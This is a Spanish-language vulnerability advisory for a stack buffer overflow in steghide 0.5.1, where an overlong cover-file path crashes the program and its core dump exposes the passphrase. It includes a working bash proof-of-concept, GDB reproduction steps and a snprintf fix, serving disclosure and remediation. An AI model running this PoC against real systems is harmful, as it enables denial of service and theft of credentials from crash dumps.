CVE-2026-31024

Informe de Vulnerabilidad: Desbordamiento de Búfer Basado en Pila y Divulgación de Información en Steghide

Justificación de Gravedad:
La puntuación de gravedad Media refleja una explotación local confiable que lleva tanto a la denegación de servicio como a la divulgación de credenciales sensibles a través de volcados de núcleo.

1. Descripción

Se identificó una vulnerabilidad de desbordamiento de búfer basada en pila en la utilidad de línea de comandos steghide (versión 0.5.1). La vulnerabilidad se desencadena al pasar una ruta de archivo excesivamente larga al argumento -cf (archivo de cubierta).

Si bien la aplicación se compila con Protección contra Desbordamiento de Pila (SSP/Canary), que evita exitosamente la ejecución arbitraria de código (RCE) inmediata al abortar el proceso, este mecanismo defensivo crea una vulnerabilidad secundaria: Divulgación de Información.

El análisis confirma que los datos sensibles en tiempo de ejecución—específicamente la contraseña pasada mediante el argumento -p—permanecen expuestos en la memoria de la pila del proceso en el momento del bloqueo. En sistemas configurados para retener volcados de núcleo (común en desarrollo, CI/CD o servidores de producción mal configurados), estos datos sensibles se escriben en el disco en texto plano, permitiendo a los atacantes recuperar credenciales.

2. Prerrequisitos del Ataque (Modelo de Amenaza)

Para explotar exitosamente esta vulnerabilidad con fines de Divulgación de Información, deben cumplirse las siguientes condiciones:

• Acceso Local: El atacante debe tener acceso local al sistema o la capacidad de pasar argumentos al binario steghide (por ejemplo, mediante una shell web o script envolvente).

• Volcados de Núcleo Habilitados: El entorno objetivo debe estar configurado para generar volcados de núcleo (por ejemplo, ulimit -c unlimited o fs.suid_dumpable=1) y escribirlos en una ubicación accesible para el atacante.

• Credenciales en Memoria: La víctima debe ejecutar el comando usando el argumento -p (contraseña).

3. Análisis Técnico

3.1 Análisis de la Causa Raíz

La vulnerabilidad existe en src/Embedder.cc. La aplicación no verifica los límites de la longitud de la cadena del nombre de archivo antes de formatearla en un búfer de tamaño fijo usando sprintf.

Fragmento de Código Vulnerable:

// src/Embedder.cc
char buf[200]; 
// Uso inseguro de sprintf sin validación de longitud
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());

Si la longitud combinada de las cadenas supera los 200 bytes, sprintf escribe más allá del final de buf, corrompiendo la pila.

3.2 Mecanismo de Caída

El binario está compilado con el Protector de Pila de GCC.

1. Desbordamiento: La entrada del usuario sobrescribe la pila, incluyendo el "canary".
2. Detección: Al regresar de la función, el sistema verifica el canary.
3. Terminación: El sistema detecta la corrupción, activa __stack_chk_fail y genera SIGABRT.

Debido a que __stack_chk_fail invoca abort() inmediatamente, la terminación del proceso es abrupta. En sistemas Linux modernos (por ejemplo, usando systemd-coredump), esta terminación rápida puede provocar que el volcado de núcleo sea descartado o truncado a menos que el sistema esté explícitamente configurado para forzar la creación del volcado.

4. Prueba de Concepto (PoC)

4.1 Script Automatizado de Reproducción

El siguiente script de bash configura el entorno para forzar un volcado de núcleo físico y extrae la contraseña.

Prerrequisito: Asegúrese de que ulimit esté configurado y que el patrón de núcleo esté dirigido a un archivo (requiere root para la configuración, pero el exploit se ejecuta como usuario).

# Setup (Run once as root/sudo to ensure visibility):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern

Archivo: poc.sh

#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh

# 1. Enable core dumps for this session
ulimit -c unlimited

# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"

echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"

# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
    # RIFF Header + WAVEfmt + PCM Audio + Data Chunk
    # We provide a valid header so execution reaches the vulnerable Embedder.cc logic
    header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
    header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
    header += b'data' + struct.pack('<I', 49964)
    f.write(header + b'\x00' * 49964)
"

# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt

# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS

# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)

if [ -f "$CORE_FILE" ]; then
    echo "[+] Dump found: $CORE_FILE"
    # Search for the password string inside the binary dump
    strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
    echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi

4.2 Análisis Dinámico (GDB)

Verificación manual del estado de la memoria usando GDB (con extensión Pwndbg).

Pasos para Reproducir:

1. Ejecute GDB en el binario:

gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS

2. Ejecute el proceso:

pwndbg> run

3. Al recibir SIGABRT, busque en la memoria la contraseña:

pwndbg> search "MY_SECRET_PASS"

Salida Observada:

*** buffer overflow detected ***: terminated
Program received signal SIGABRT

pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap]  0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'

Conclusión: La cadena sensible MY_SECRET_PASS persiste tanto en los segmentos de memoria Heap como en la Pila en el momento del bloqueo, confirmando el vector de Divulgación de Información.

5. Evaluación de Impacto

• Confidencialidad (Alta):

  • Fuga Directa: El bloqueo expone los argumentos de línea de comandos (contraseñas) en el volcado de memoria.
  • Riesgo de Escalada de Privilegios: Si bien los volcados de núcleo generalmente conservan los permisos del usuario (0600), los sistemas mal configurados (que usan directorios de volcado global como /tmp o umasks inseguros) permiten que usuarios con bajos privilegios lean volcados generados por usuarios con mayores privilegios (por ejemplo, root) o cuentas de servicio (por ejemplo, www-data), lo que lleva al robo de credenciales.

• Disponibilidad (Alta):

  • La vulnerabilidad garantiza un bloqueo confiable de la aplicación (DoS), interrumpiendo servicios automatizados que usen Steghide.

• Integridad (Baja):

  • La ejecución de código está actualmente mitigada por SSP/Canary.

6. Recomendaciones

1. Corrección de Código: Reemplace las llamadas inseguras a sprintf con snprintf para imponer límites de tamaño de búfer.

// Corrección Recomendada
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);